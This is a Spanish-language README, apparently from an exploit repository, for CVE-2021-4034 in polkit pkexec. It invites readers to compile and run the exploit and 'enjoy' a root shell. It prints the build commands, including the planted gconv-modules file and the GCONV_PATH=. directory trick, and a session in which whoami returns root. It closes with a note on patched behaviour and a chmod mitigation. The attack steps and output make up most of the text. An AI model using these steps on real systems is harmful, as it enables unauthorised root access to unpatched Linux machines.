
Exploit para CVE-2021-4034 en polkit pkexec, que proporciona una shell de root mediante una escalada de privilegios SUID. Incluye código fuente e instrucciones de compilación.
Exploit de escalada de privilegios en polkit
Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell root.
El aviso original de mi equipo de Qualys aquí
Si el exploit funciona, obtendrás una shell root inmediatamente:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Actualizar polkit en la mayoría de los sistemas parcheará el exploit, por lo tanto verás el uso y el programa saldrá:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (anteriormente PolicyKit) es un componente para controlar los privilegios a nivel de sistema en sistemas operativos tipo Unix. Proporciona una forma organizada para que los procesos sin privilegios se comuniquen con procesos privilegiados. También es posible usar polkit para ejecutar comandos con privilegios elevados mediante el comando pkexec seguido del comando que se pretende ejecutar (con permiso de root).
Si no hay parches disponibles para tu sistema operativo, puedes eliminar el bit SUID de pkexec como mitigación temporal.
# chmod 0755 /usr/bin/pkexec